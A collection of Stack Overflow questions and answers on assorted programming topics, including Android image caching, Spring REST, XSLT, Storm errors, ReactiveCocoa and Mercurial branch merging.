39792138	0	 <p>Here is my code which will first load the image from the cache if the cache for that file exists, then update the cache file. If it doesn't exist, then load it from the internet(url).</p> <pre><code>Picasso.with(getApplicationContext()).load(headerUserObject.getParseFile("profilePicture").getUrl()) .placeholder(R.color.placeholderblue).networkPolicy(NetworkPolicy.OFFLINE) // try to load the image from cache first .into(((ImageView) findViewById(R.id.profile_picture)), new Callback() { @Override public void onSuccess() { //cache file for this url exists, now update the cache for this url if(networkAvaialable()) // if internet is working update the cache file Picasso.with(getApplicationContext()).invalidate(headerUserObject.getParseFile("profilePicture").getUrl()); } @Override public void onError() { // if cache file does not exist load it from the internet Picasso.with(getApplicationContext()).load(headerUserObject.getParseFile("profilePicture").getUrl()) .placeholder(R.color.placeholderblue) .into(((ImageView) findViewById(R.id.profile_picture))); } }); </code></pre>
3318619	0	 <p>I don't think you can do this with an attribute. It makes more sense to have the Competition class validate entries.</p> <pre><code>public class Competition { public bool AnswersAreCorrectFor(CompetitionEntry entry) { // check answers } // ... } </code></pre>
29888084	0	Post in Spring Rest not working <p>This is the first time I am using REST with Spring, before this I always used JAX RS with Guice implementation.</p> <p>Anyways here is my Controller</p> <pre><code>@Controller @Api(value = "Redis Data Structures Service", description = "Spring REST Controller that handles all the HTTP requests for the Redis Data Structures Service.", position = 1) @ManagedResource(description = "Redis Data Structures Service REST Controller") @RestController @EnableAutoConfiguration @EnableSwagger @RequestMapping("/datastructures/v1") public class MyResource{ @RequestMapping(value = "/process", method = RequestMethod.POST, produces = "application/json", consumes="application/json") public ResponseEntity&lt;Operation&gt; batch(@RequestBody Operation operation) throws JSONException{ //this is just for testing operation.operationId = 123; return new ResponseEntity&lt;Operation&gt;(operation, HttpStatus.OK); } } </code></pre> <p>Here is the Pojo of Operation class:</p> <pre><code>public class Operation{ public int operationId; //get &amp; set } </code></pre> <p>Here is the rest call I am calling from Advance Rest Client Google chrome extension:</p> <pre><code>PATH : &lt;server:port&gt;/datastructures/v1/process/ BODY : { "operationId":10 } METHOD : POST CONTENT TYPE : application/json </code></pre> <p>And on calling this is the exception I am getting, </p> <pre><code>Required request body content is missing....with stack trace </code></pre> <p>Here is the stacktrace <a href="http://pastebin.com/9v5BSq7k" rel="nofollow">click here</a></p> <p>its really frustrating that this much simple call is killing the app, :) . Please help, thanks in advance</p>
2481556	0	superfish to use jquery ui theme framework? <p>was wondering if there is a way to make <a href="http://users.tpg.com.au/j_birch/plugins/superfish/" rel="nofollow noreferrer">superfish</a> using jquery ui theme framework, if that isn't possible right now, what practice can be applied to make superfish using jqueryui styles.</p> <p>Thanks for your valuable input.</p> <p>Michael</p>
40649234	0	 <p>Ever heard of loopback Operation hooks?</p> <p><a href="https://loopback.io/doc/en/lb2/Operation-hooks.html" rel="nofollow noreferrer">https://loopback.io/doc/en/lb2/Operation-hooks.html</a></p> <p>use the <code>before save</code> hook or <code>after save</code> hook on a model to do what ever you want.</p> <p>they have an example, you can try it out</p>
20847884	0	 <p>You'll find the <code>$locationChangeStart</code> is an event you can listen for to detect for a route change.</p> <p>Try something like</p> <pre><code>$rootScope.$on('$locationChangeStart', function (event, next, current) { /* do some verification */ }); </code></pre> <p><code>$route.reload()</code> will prevent the route change from going through.</p> <p>The distinction between user clicking back or changing the url etc will not make a difference. As browsers don't reload any resources when you alter the url past the <code>#</code> it's all still contained in your angular logic. This means all these methods should trigger the <code>$locationChangeStart</code> event.</p> <p>@Jon pointed out that the <code>$route</code> service will definitely be of use to you. the <code>.reload()</code> method will prevent the route change from completing but there is much more you can do with the <code>$route</code> service if you look into it - see <a href="http://docs.angularjs.org/api/ngRoute.$route" rel="nofollow">documentation</a>.</p>
29032872	0	 <p>Instead of doing so much of work as mentioned by <a href="http://stackoverflow.com/a/26454325/1576416">Muzikant</a> and like <a href="http://stackoverflow.com/a/29058430/1576416">this answer</a></p> <pre><code> getSupportActionBar().setDisplayShowHomeEnabled(false); getSupportActionBar().setDisplayShowTitleEnabled(false); getSupportActionBar().setBackgroundDrawable(new ColorDrawable(Color.WHITE)); LayoutInflater mInflater = LayoutInflater.from(this); View mCustomView = mInflater.inflate(R.layout.action_bar_home, null); getSupportActionBar().setCustomView(mCustomView); getSupportActionBar().setDisplayShowCustomEnabled(true); Toolbar parent =(Toolbar) mCustomView.getParent();//first get parent toolbar of current action bar parent.setContentInsetsAbsolute(0,0);// set padding programmatically to 0dp </code></pre> <p>You have to add only the last two lines of code to solve your problem.</p> <p>I hope this might help you and anyone else.</p> <blockquote> <p><strong>UPDATE:</strong> After making some research on it, i found that this solution will not work in some cases. The left side gap (HOME or BACK) will be removed with this but the right side gap (MENU) will remain as is. Below is the solution in these cases.</p> </blockquote> <pre><code>View v = getSupportActionBar().getCustomView(); LayoutParams lp = v.getLayoutParams(); lp.width = LayoutParams.MATCH_PARENT; v.setLayoutParams(lp); </code></pre> <p>Add these four lines to above code, so that the right side gap is also removed from support action bar. </p>
36875469	0	clang templated use of __attribute__((vector_size(N))) <p>I create an application which make use of a SSE4.1 vector instructions. To better manage the vector types I've created templated helper struct vector_type as follows:</p> <pre><code>template &lt;class T, int N&gt; struct vector_type { typedef T type __attribute__((vector_size(sizeof(T)*N))); using single_element_type = T; static constexpr int size = N; typedef union { type v; T s[N]; } access_type; // some other implementation }; </code></pre> <p>This compiles perfectly with g++. Unfortunately the clang++ (I use clang++ in version 3.6) complains that <code>'vector_size' attribute requires an integer constant</code>. I'm perfectly aware that this is a well known issue of clang, which is submitted as a Bug 16986. My question is rather is there a way to workaround the problem. I came up with the code:</p> <pre><code>template &lt;class T, int ASize&gt; struct vector_type_impl; template &lt;&gt; struct vector_type_impl&lt;int,16&gt; { typedef int type __attribute__((vector_size(16))); }; template &lt;class T, int N&gt; struct vector_type: vector_type_impl&lt;T, N*sizeof(T)&gt; { using type = typename vector_type_impl&lt;T, N*sizeof(T)&gt;::type; using single_element_type = T; static constexpr int size = N; typedef union { type v; T s[N]; } access_type; // some other implementation }; </code></pre> <p>But I can't believe there is no better way to do it.</p>
25347762	0	 <p>The border between these two are getting ever so thinner.</p> <p>Application servers exposes business logic to a client. So its like application server comprises of a set of methods(not necessarily though, can even be a networked computer allowing many to run software on it) to perform business logic. So it will simply output the desired results, not HTML content. (similar to a method call). So it is not strictly HTTP based.</p> <p>But web servers passes HTML content to web browsers (Strictly HTTP based). Web servers were capable of handling only the static web resources, but the emergence of server side scripting helped web servers to handle dynamic contents as well. Where web server takes the request and directs it to the script (PHP, JSP, CGI scripts, etc.) to CREATE HTML content to be sent to the client. Then web server knows how to send them back to client. BECAUSE that's what a web server really knows.</p> <p>Having said that, nowadays developers use both of these together. Where web server takes the request and then calls a script to create the HTML, BUT script will again call an application server LOGIC (e.g. Retrieve transaction details) to fill the HTML content.</p> <p>So in this case both the servers were used effectively. </p> <p>Therefore .... We can fairly safely say that in nowadays, in most of the cases, web servers are used as a subset of application servers. BUT theatrically it is NOT the case.</p> <p>I have read many articles about this topic and found <a href="http://www.javaworld.com/article/2077354/learn-java/app-server-web-server-what-s-the-difference.html">this</a> article quite handy.</p>
2115265	0	HTML 5 - Who, What, Where <p>I am looking at HTML5 information at W3. Some of the new functionality seems interesting.</p> <p>Which browsers support it?</p> <p>How can I ensure that I am using HTML 5?</p> <p>Is there a way to be told that "there is an HTML 5 command you should be using" if I use something in HTML 4 or what not?</p> <p>HTML 5 Canvas is supposed to allow a lot of Flash type functionality no?</p>
6008722	0	 <p>It's a little complicated at the mentioned blog, I've used a similar but simplier way. You do need 3 star images (red_star_full.png, red_star_half.png and red_star_empty.png) and one xml, that's all.</p> <p>Put these 3 images at res/drawable.</p> <p>Put there the following ratingbar_red.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;layer-list xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;item android:id="@android:id/background" android:drawable="@drawable/red_star_empty" /&gt; &lt;item android:id="@android:id/secondaryProgress" android:drawable="@drawable/red_star_half" /&gt; &lt;item android:id="@android:id/progress" android:drawable="@drawable/red_star_full" /&gt; &lt;/layer-list&gt; </code></pre> <p>and, finally, tell your ratingbar definition to use this, i.e.</p> <pre><code>&lt;RatingBar android:progressDrawable="@drawable/ratingbar_red"/&gt; </code></pre> <p>That's it.</p>
28738736	0	 <p>Based on your example, you are trying to delete all files present within some folder. Instead of iterating over all the files of the folder, and delete each file individually, the better way is to use <a href="https://docs.python.org/2/library/shutil.html" rel="nofollow">shutil.rmtree()</a>. It will recursively delete all the files for the given path (similar to <code>rm -r /path/to/folder</code> in unix).</p> <pre><code>import shutil shutil.rmtree('/path/to/folder') </code></pre>
6928926	0	What advantages are gained by using namespaces in javascript? <p>Apart from not cluttering the global namespace and gaining the ability to encapsulate code in private members, is there any benefit?</p>
5546916	0	 <p>If I execute the query with an AND, even then , both the tables are accessed</p> <p>SET STATISTICS IO ON IF EXISTS (SELECT * from master..spt_values where [name] = 'rpcc') and EXISTS(SELECT * from master..spt_monitor where pack_sent = 5235252) PRINT 'Y' </p> <p>Table 'spt_monitor'. Scan count 1, logical reads 1, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0. Table 'spt_values'. Scan count 1, logical reads 17, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.</p>
38372578	0	Storm 1.0.1 Worker error on submitting topology <p>I am getting the error below (worker.log) when submitting a topology to Storm 1.0.1 (despite the error, the topology <strong>does get submitted</strong> and <strong>appears</strong> in the Storm UI):</p> <pre><code>o.a.s.d.worker [ERROR] Error on initialization of server mk-worker java.lang.OutOfMemoryError: unable to create new native thread at java.lang.Thread.start0(Native Method) ~[?:1.8.0_91] at java.lang.Thread.start(Thread.java:714) ~[?:1.8.0_91] at org.apache.storm.timer$mk_timer.doInvoke(timer.clj:77) ~[storm-core-1.0.1.jar:1.0.1] at clojure.lang.RestFn.invoke(RestFn.java:457) ~[clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker$mk_halting_timer.invoke(worker.clj:244) ~[storm-core-1.0.1.jar:1.0.1] at org.apache.storm.daemon.worker$worker_data$fn__8190.invoke(worker.clj:293) ~[storm-core-1.0.1.jar:1.0.1] at org.apache.storm.util$assoc_apply_self.invoke(util.clj:930) ~[storm-core-1.0.1.jar:1.0.1] at org.apache.storm.daemon.worker$worker_data.invoke(worker.clj:268) ~[storm-core-1.0.1.jar:1.0.1] at org.apache.storm.daemon.worker$fn__8450$exec_fn__2461__auto__$reify__8452.run(worker.clj:611) ~[storm-core-1.0.1.jar:1.0.1] at java.security.AccessController.doPrivileged(Native Method) ~[?:1.8.0_91] at javax.security.auth.Subject.doAs(Subject.java:422) ~[?:1.8.0_91] at org.apache.storm.daemon.worker$fn__8450$exec_fn__2461__auto____8451.invoke(worker.clj:609) ~[storm-core-1.0.1.jar:1.0.1] at clojure.lang.AFn.applyToHelper(AFn.java:178) ~[clojure-1.7.0.jar:?] at clojure.lang.AFn.applyTo(AFn.java:144) ~[clojure-1.7.0.jar:?] at clojure.core$apply.invoke(core.clj:630) ~[clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker$fn__8450$mk_worker__8545.doInvoke(worker.clj:583) [storm-core-1.0.1.jar:1.0.1] at clojure.lang.RestFn.invoke(RestFn.java:512) [clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker$_main.invoke(worker.clj:771) [storm-core-1.0.1.jar:1.0.1] at clojure.lang.AFn.applyToHelper(AFn.java:165) [clojure-1.7.0.jar:?] at clojure.lang.AFn.applyTo(AFn.java:144) [clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker.main(Unknown Source) [storm-core-1.0.1.jar:1.0.1] 2016-07-14 11:48:29.568 o.a.s.util [ERROR] Halting process: ("Error on initialization") java.lang.RuntimeException: ("Error on initialization") at org.apache.storm.util$exit_process_BANG_.doInvoke(util.clj:341) [storm-core-1.0.1.jar:1.0.1] at clojure.lang.RestFn.invoke(RestFn.java:423) [clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker$fn__8450$mk_worker__8545.doInvoke(worker.clj:583) [storm-core-1.0.1.jar:1.0.1] at clojure.lang.RestFn.invoke(RestFn.java:512) [clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker$_main.invoke(worker.clj:771) [storm-core-1.0.1.jar:1.0.1] at clojure.lang.AFn.applyToHelper(AFn.java:165) [clojure-1.7.0.jar:?] at clojure.lang.AFn.applyTo(AFn.java:144) [clojure-1.7.0.jar:?] at org.apache.storm.daemon.worker.main(Unknown Source) [storm-core-1.0.1.jar:1.0.1] </code></pre> <p>Also found this entry in the supervisor.log:</p> <pre><code>o.a.s.util [WARN] Worker Process ea92e1b7-c870-4b4c-b0a6-00272f27f521:# There is insufficient memory for the Java Runtime Environment to continue. </code></pre> <p>However, "free -m" command suggests enough free memory.</p> <p>Further messages seem to suggest that the worker fails to start and supervisor.log then starts logging INFO message "{id of worker process} still hasn't started" multiple times.</p>
14299821	0	 <p>Another way to do this would be to use OpenGL. (I think LWJGL would allow it in Java.) You could upload a 1D texture containing the straight to gamma corrected table, and then write a glsl shader that applied the gamma table to your pixels. Not sure how that would fit in with your current processing model, but I use it to process 1920x1080 HD RGBA frames in real-time all the time.</p>
31926023	0	 <p>A self join joins a table to itself. The <code>employee</code> table might be joined to itself in order to show the manager name and the employee name in the same row.</p> <p>An inner join joins any two tables and returns rows where the key exists in both tables. A self join can be an inner join (most joins are inner joins and most self joins are inner joins). An inner join can be a self join but most inner joins involve joining two different tables (generally a parent table and a child table).</p>
24512586	0	 <p>A possible solution posted by <strong>Eugene Kazakov</strong> <a href="http://jmeter.512774.n5.nabble.com/Using-Python-or-Ruby-from-Jmeter-td5716088.html" rel="nofollow">here</a>:</p> <blockquote> <p>JSR223 sampler has good possibility to write and execute some code, just put jython.jar into /lib directory, choose in "Language" pop-up menu jython and write your code in this sampler.</p> </blockquote> <p><a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=47511" rel="nofollow">Sadly there is a bug in Jython, but there are some suggestion on the page.</a></p> <p><a href="https://www.google.com/search?q=jython%20jmeter" rel="nofollow">More here.</a></p>
37565288	0	ReactiveCocoa bi-directional bind in UITableViewCell <p>I've got <code>UITableView</code> with server list. The possible actions are:</p> <ul> <li>add server </li> <li>delete server</li> <li>save data (current server list)</li> </ul> <p>Each <code>UITableViewCell</code> contains 2 <code>UITextField</code> with server name and server url.</p> <p>There is also validation required which disables addButton if ANY <code>textfield</code> is empty (user can edit any visible record with server name/url)</p> <p>So far I managed to bind viewModel with <code>textfields</code> so editing <code>textfield</code> fills the model data. The problem is with opposite direction. When I delete row using code below </p> <pre><code>- (void)removeCellAtIndexPath:(NSIndexPath *)indexPath { [self.viewModel.tempServerList removeObjectAtIndex:indexPath.row]; if (![self.viewModel.tempServerList count]) { self.buttonAdd.enabled = YES; } [self.tableView beginUpdates]; [self.tableView deleteRowsAtIndexPaths:@[indexPath] withRowAnimation:UITableViewRowAnimationFade]; [self.tableView endUpdates]; } </code></pre> <p>And add again new cell, it is already filled with previous (deleted) data. Possible workaround is custom init method + settings the text fields empty. Is is another way to bind it bi-directional <code>TextField</code> with model?</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { ServerTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:[[ServerTableViewCell class] description]]; RACSignal *nameSignal = [cell.textFieldServerName.rac_textSignal takeUntil:cell.rac_prepareForReuseSignal]; RACSignal *urlSignal = [cell.textFieldServerURL.rac_textSignal takeUntil:cell.rac_prepareForReuseSignal]; RAC([self.viewModel.tempServerList objectAtIndex:indexPath.row], name) = nameSignal; RAC([self.viewModel.tempServerList objectAtIndex:indexPath.row], url) = urlSignal; [[[RACSignal combineLatest:@[nameSignal, urlSignal] reduce:^(NSString *name, NSString *url) { for (ServerDataModel *serverData in self.viewModel.tempServerList) { if (!serverData.name.length || !serverData.url.length) { return @NO; } } return @YES; }] takeUntil:cell.rac_prepareForReuseSignal] subscribeNext:^(NSNumber *x) { self.buttonAdd.enabled = x.boolValue; }]; cell.delegate = self; cell.indexPath = indexPath; return cell; } </code></pre>
30871442	0	Are values "ok", false, true, null, 123 valid JSON <p>Are following strings a valid JSON?</p> <p><code>"ok"</code></p> <p><code>false</code></p> <p><code>true</code></p> <p><code>null</code></p> <p><code>123</code></p> <p>If not why do standard javascript <code>JSON.parse</code> method allow to use this values as valid JSON?</p> <p>I sometimes use this values when implementing JSON REST APIs, and faced with that objective-c frameworks doesn't parse this values.</p>
30405754	0	 <p>your bootstrap goes in your phpunit.xml config file.</p> <p>So it would look something like:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;phpunit bootstrap="bootstrap.php" colors="true"&gt; &lt;/phpunit&gt; </code></pre> <p>and when you run your test you run it with</p> <pre><code>phpunit --configuration=phpunit.xml </code></pre> <p>For reference: The <a href="https://phpunit.de/manual/current/en/appendixes.configuration.html" rel="nofollow">phpunit.xml config section</a> in the manual.</p>
39296011	0	 <p>Well, whenever you make calls towards google libraries, costs you time.</p> <p>Which means that if you manage to somehow get these 2 lines out of the loop, you will most likely succeed. </p> <pre><code>var toCopy = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("FINAL").getRange(3, 3, data1Length - 2, data1LengthHorizontal - 2); //HardCoded Starting Point toCopy.setValues(results); </code></pre> <p>Inside the loop try to work only with arrays, remember indexes, line rows, etc. and then call <code>getRange</code> and <code>setValues</code> <strong>outside</strong> the loop, according to the data you saved inside the loop.</p>
22943329	0	Inputing a selection from an array c# <p>Hi there I'm very new to C# so please bear with me if my question has a very obvious answer.</p> <p>I am trying to write a code that displays an array of options to the user with a number to select the option. The user then selects their option and the code will display their selection from the array. </p> <p>So for example </p> <pre><code>Select 1 for apples Select 2 for oranges Select 3 for pears Please Enter your Selection : </code></pre> <p>I keep typing a for loop to display my area but I cannot get my program to read the input from the array this is what I have so far </p> <pre><code>static void Main(string[] args) { string[] fruit = [3] fruit[0]=("apples"); fruit[1]=("oranges"); fruit[2]=("pears"); for (int i = 0; i &lt; fruit.length; i++) { Console.WriteLine("Enter {0} to select {1}", i, fruit[i]); } string choice = Console.ReadLine(); int i = int.Parse(choice); Console.WriteLine("You have selected {0} which is {1}", i, fruit[i]); Console.ReadLine(); } </code></pre> <p>This gives me an error and if I place this within the for loop then the program does not display me all my options.</p>
208208	0	 <p>I would definitely first try out Webstart. We've had lots of success launching even the early Eclipse RCP apps using Webstart, and you can probably not get more funky classloading issues than with the OSGI framework (Eclipse Equinox). </p> <p>Could you perhaps give some more detail in your question about you classloading approach?</p> <p>Regarding the GC and other VM settings: these are easy to specify in your JNLP (Java Network Launching Protocol) files used by Webstart for launching apps.</p>
22423277	0	how to close smooth-box master jquery image by Esc button? <p>I have used the following..can some one help me?</p> <pre><code>.on("click",".sb-cancel",function(e){$(".smoothbox").fadeOut("slow",function(){$(".smoothbox").remove()}) </code></pre>
2761489	0	SVN - Retrieve history of item "replaced into" existing directory <p>I created a branch from my SVN trunk. In the branch, another developer deleted a directory, but then readded it with the same files. When I merged the changes from the branch back into the trunk (using TortoiseSVN), this directory had a "replace into" message. I unfortunately merged those in (none of these files in the branch had changed, but since it was deleted and added, it showed up as a change). Now, the history for those files only goes back to the time it was readded in the branch. I have the old history in a tag from before the merge, but it is a pain to have to go to that to get the history.</p> <p>Is there a way to update the files to get the history back into the trunk? Even if I merge the tag into the trunk, would it actually update the full history? I have a feeling it would just merge any file changes, not the history.</p>
39354953	0	Trouble merging the Columns in XSLT <p>I have a XML and i am transforming it into HTML using XSLT. The current table structure is as below.</p> <pre><code> |-------------------------| |type |name |age | |data |john |28 | |comment |pass | | |-------------------------| </code></pre> <p>I am trying to merge the cell of row where col0='comment' in just two TD. First TD for 'comment' and second TD for 'pass'. I will add colspan =2 in second TD.</p> <p>I am trying to generate the following table structure from below Code. (The td with Pass will have colsapn=2)</p> <pre><code>|-------------------------| |type |name |age | |data |john |28 | |comment |pass | |-------------------------| </code></pre> <p>The XML sample data is as follows.</p> <pre><code>&lt;Form&gt; &lt;Log&gt; &lt;col0&gt;type&lt;/col0&gt; &lt;col1&gt;name&lt;/col1&gt; &lt;col2&gt;age&lt;/col2&gt; &lt;/Log&gt; &lt;Log&gt; &lt;col0&gt;data&lt;/col0&gt; &lt;col1&gt;john&lt;/col1&gt; &lt;col2&gt;28&lt;/col2&gt; &lt;/Log&gt; &lt;Log&gt; &lt;col0&gt;comment&lt;/col0&gt; &lt;col1&gt;passed&lt;/col1&gt; &lt;col2&gt;&lt;/col2&gt; &lt;/Log&gt; &lt;/Form&gt; </code></pre> <p>I am using the below XSLT code to do the transformation. But its not generating the expected result. This part of the bigger XML so i am putting the required code only.</p> <p>The code is as follows. I have removed the other part of the code which is of no use related to the issue.</p> <pre><code>&lt;xsl:for-each select="Form"&gt; -- Another code for Log position 1 &lt;xsl:apply-templates select="Log[position() &gt; 1]" mode="LogsData" /&gt; &lt;/xsl:for-each&gt; &lt;xsl:template match="Form/*" mode="LogsData"&gt; &lt;xsl:choose&gt; &lt;xsl:when test="name()='col0' and text()='Comments'"&gt; &lt;tr&gt; &lt;td&gt; &lt;b&gt; &lt;xsl:value-of select="name() = 'col0' and text()='comment'"/&gt; &lt;/b&gt; &lt;/td&gt; &lt;td&gt; &lt;xsl:for-each select="*[starts-with(name(), 'col')]"&gt; &lt;xsl:value-of select="." /&gt; &lt;/xsl:for-each&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/xsl:when&gt; &lt;xsl:otherwise&gt; &lt;tr&gt; &lt;xsl:for-each select="*[starts-with(name(), 'col')]"&gt; &lt;xsl:choose&gt; &lt;xsl:when test="name() = 'col0'"&gt; &lt;td&gt; &lt;b&gt; &lt;xsl:value-of select="." disable-output-escaping="yes"/&gt; &lt;/b&gt; &lt;/td&gt; &lt;/xsl:when&gt; &lt;xsl:otherwise&gt; &lt;td&gt; &lt;xsl:value-of select="." disable-output-escaping="yes"/&gt; &lt;/td&gt; &lt;/xsl:otherwise&gt; &lt;/xsl:choose&gt; &lt;/xsl:for-each&gt; &lt;/tr&gt; &lt;/xsl:otherwise&gt; &lt;/xsl:choose&gt; &lt;/xsl:template&gt; </code></pre> <p>The result is not generating as expected. The table is still coming the way it was. Separate TD for each comment data. I just want two TD in Comment section. First TD with "Comment" in it and second TD with all the other values of columns other then col0. Kindly help me to fix the issue. </p>
1704216	0	 <p>You realize Python doesn't do true multi-threading as you would expect on a multi-core processor:</p> <p><a href="http://en.wikipedia.org/wiki/Global_Interpreter_Lock" rel="nofollow noreferrer">See Here</a> <a href="http://en.wikipedia.org/wiki/Python_%28programming_language%29" rel="nofollow noreferrer">And Here</a></p> <p>Don't expect those 10 things to take 1 second each. Besides, even in true multi-threading there is a little overhead associated with the threads. I'd like to add that this isn't a slur against Python.</p>
20928193	0	 <p>I ran into the same issue tonight, and it turned out I needed image/jpeg and image/jpg</p> <pre><code> validates_attachment :avatar, :styles =&gt; { :medium =&gt; "300x300", :thumb =&gt; "100x100" }, :content_type =&gt; { :content_type =&gt; "image/jpg", :content_type =&gt; "image/jpeg", :content_type =&gt; "image/png" }, :size =&gt; { :in =&gt; 0..1.megabytes } </code></pre> <p>It worked when just trying /^image/ but I like being specific.</p>
34704666	0	 <p>That is because <code>3,3</code> converted to a double using the <code>InvariantCulture</code> yields <code>33</code>. It does not make the output to become in the <code>InvariantCulture</code>, since the numeric data type double has nothing to do with a specific culture. Only the <em>textual representation</em> does.</p> <p>So <code>3,3</code> is not a valid value for a string to be converted to a double. It removes the <code>,</code> and converts to <code>33</code>. <code>3.3</code> would be a valid value to be converted to <code>3.3d</code>. So you have to use another culture, probably <code>it-IT</code> as in your debug view, to convert the value <code>3,3</code> to a <code>double</code> of <code>3.3d</code>.</p>
37652378	0	Local passport authorization on different ports <p>I have a node.js application running on port 5000, where I use passport.js as authorization. I authorize users from a post request, where I use a custom callback:</p> <pre><code>this.router.post('/member/login', (req, res, next) =&gt; { passport.authenticate('local', (err, member, info) =&gt; { if (err) res.json(400).json({message: "An error ocurred"}); if (!member) { console.log("No member found!"); return res.status(409).json({message: "No member found!"}) } req.logIn(member, (err) =&gt; { if (err) { console.log(err); return res.status(400).json({message: "An error ocurred"}); } return res.json(member); }); })(req, res, next); }); </code></pre> <p>This works fine, but when I develop local I have a frontend Angular2 application, which runs on a different port (4200), so in my development I am not possible to get the authorized user: req.user is undefined. I use express-session to store the authorized user.</p> <p>When I deploy I bundle both applications up together, so everything works. </p> <p>Does anyone have a good and simple solution for this issue? Again it's only in development I have this problem.</p>
27211898	0	Setting up relay host for zimbra <p>I would like to configure Smtp for my mail server to send out mail to external server. I followed <a href="http://wiki.zimbra.com/wiki/Outgoing_SMTP_Authentication" rel="nofollow">this link</a> and confused of what exactly the relay mail should be, <code>zmprov ms server.domain.com zimbraMtaRelayHost mailrelay.example.com</code> I did not know what should be use to replay for <code>mailrelay.example.com</code>. If my mail domain is <code>mail.domain.com</code> so can I set up for relay host as <code>wiki.domain.com</code>?</p>
1088855	0	Suggestions for uploading very large (> 1GB) files <p>I know that such type of questions exist in SF but they are very specific, I need a generic suggestion. I need a feature for uploading user files which could be of size more that 1 GB. This feature will be an add-on to the existing file-upload feature present in the application which caters to smaller files. Now, here are some of the options</p> <ol> <li>Use HTTP and Java applet. Send the files in chunks and join them at the server. But how to throttle the n/w.</li> <li>Use HTTP and Flex application. Is it better than an applet wrt browser compatibility &amp; any other environment issues?</li> <li>Use FTP or rather SFTP rather than HTTP as a protocol for faster upload process</li> </ol> <p>Please suggest.</p> <p>Moreover, I've to make sure that this upload process don't hamper the task of other users or in other words don't eat up other user's b/w. Any mechanisms which can be done at n/w level to throttle such processes?</p> <p>Ultimately customer wanted to have FTP as an option. But I think the answer with handling files programmatically is also cool.</p>
40387374	0	 <p>Your code works fine unless you make sure that your parent element has a height greater than zero - otherwise your <code>.main</code> element will have no height either.</p> <p>Also make sure that the file path to your image is correct. You can use the developer tools of your browser to check the height of your container and the image url.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>html, body { width: 100%; height: 100%; } .main { min-height: 100%; width: 100%; position: relative; background-image: url(//placehold.it/500); background-repeat: no-repeat; background-size: cover; display: block; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="main"&gt;&lt;/div&gt;</code></pre> </div> </div> </p>
20961651	0	Mercurial Log Graph Complications <p>Okay - I'm definitely learning a lot about Mercurial and version control systems more and more as I use them, but I'm really confused about why my local copies of one of my repositories (call it project-alpha) on three machines I use (machine 1, machine 2, and machine 3) are different. Notably, they do not share the same tip.</p> <p>I was hoping somebody could explain this to me, and in addition offer some explanation as to how I may avoid having to "merge" branches altogether (which is how this complication came up in the first place). It would be awesome if somebody could provide an example of how certain circumstances will force me to "merge" on one machine, whereas on another it is perfectly fine without.</p> <p>For clarification, I am including the </p> <pre><code>hg log --graph </code></pre> <p>commands for each of the three machines I am using (but only where they begin to differ, since it's a long project I'm working on). </p> <p><strong>Machine 1</strong></p> <pre><code>@ changeset: 88:e8aafce5753a | tag: tip | user: Your Name &lt;&gt; | date: Mon Jan 06 15:30:15 2014 -0500 | summary: | o changeset: 87:5d76250aad71 | user: Your Name &lt;&gt; | date: Mon Jan 06 11:32:53 2014 -0500 | summary: | o changeset: 86:4788926f4dc9 |\ parent: 84:caf2a2a127e0 | | parent: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:52:17 2014 -0500 | | summary: | | | o changeset: 85:682beb5c2a22 | | parent: 83:bde4e46678d8 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:38:45 2014 -0500 | | summary: | | o | changeset: 84:caf2a2a127e0 | | parent: 82:729da698a926 | | user: Your Name &lt;&gt; | | date: Tue Dec 17 15:44:17 2013 -0500 | | summary: | | | o changeset: 83:bde4e46678d8 |/ user: Your Name &lt;&gt; | date: Wed Jan 01 22:20:54 2014 -0500 | summary: | o changeset: 82:729da698a926 | user: Your Name &lt;&gt; | date: Mon Dec 16 12:41:54 2013 -0500 | summary: </code></pre> <p><strong>Machine 2</strong></p> <pre><code>@ changeset: 88:e8aafce5753a | tag: tip | user: Your Name &lt;&gt; | date: Mon Jan 06 15:30:15 2014 -0500 | summary: | o changeset: 87:5d76250aad71 | user: Your Name &lt;&gt; | date: Mon Jan 06 11:32:53 2014 -0500 | summary: | o changeset: 86:4788926f4dc9 |\ parent: 83:caf2a2a127e0 | | parent: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:52:17 2014 -0500 | | summary: | | | o changeset: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:38:45 2014 -0500 | | summary: | | | o changeset: 84:bde4e46678d8 | | parent: 82:729da698a926 | | user: Your Name &lt;&gt; | | date: Wed Jan 01 22:20:54 2014 -0500 | | summary: | | o | changeset: 83:caf2a2a127e0 |/ user: Your Name &lt;&gt; | date: Tue Dec 17 15:44:17 2013 -0500 | summary: | o changeset: 82:729da698a926 | user: Your Name &lt;&gt; | date: Mon Dec 16 12:41:54 2013 -0500 | summary: </code></pre> <p><strong>Machine 3</strong></p> <pre><code>o changeset: 89:e8aafce5753a | tag: tip | user: Your Name &lt;&gt; | date: Mon Jan 06 15:30:15 2014 -0500 | summary: | o changeset: 88:5d76250aad71 | user: Your Name &lt;&gt; | date: Mon Jan 06 11:32:53 2014 -0500 | summary: | o changeset: 87:4788926f4dc9 |\ parent: 83:caf2a2a127e0 | | parent: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:52:17 2014 -0500 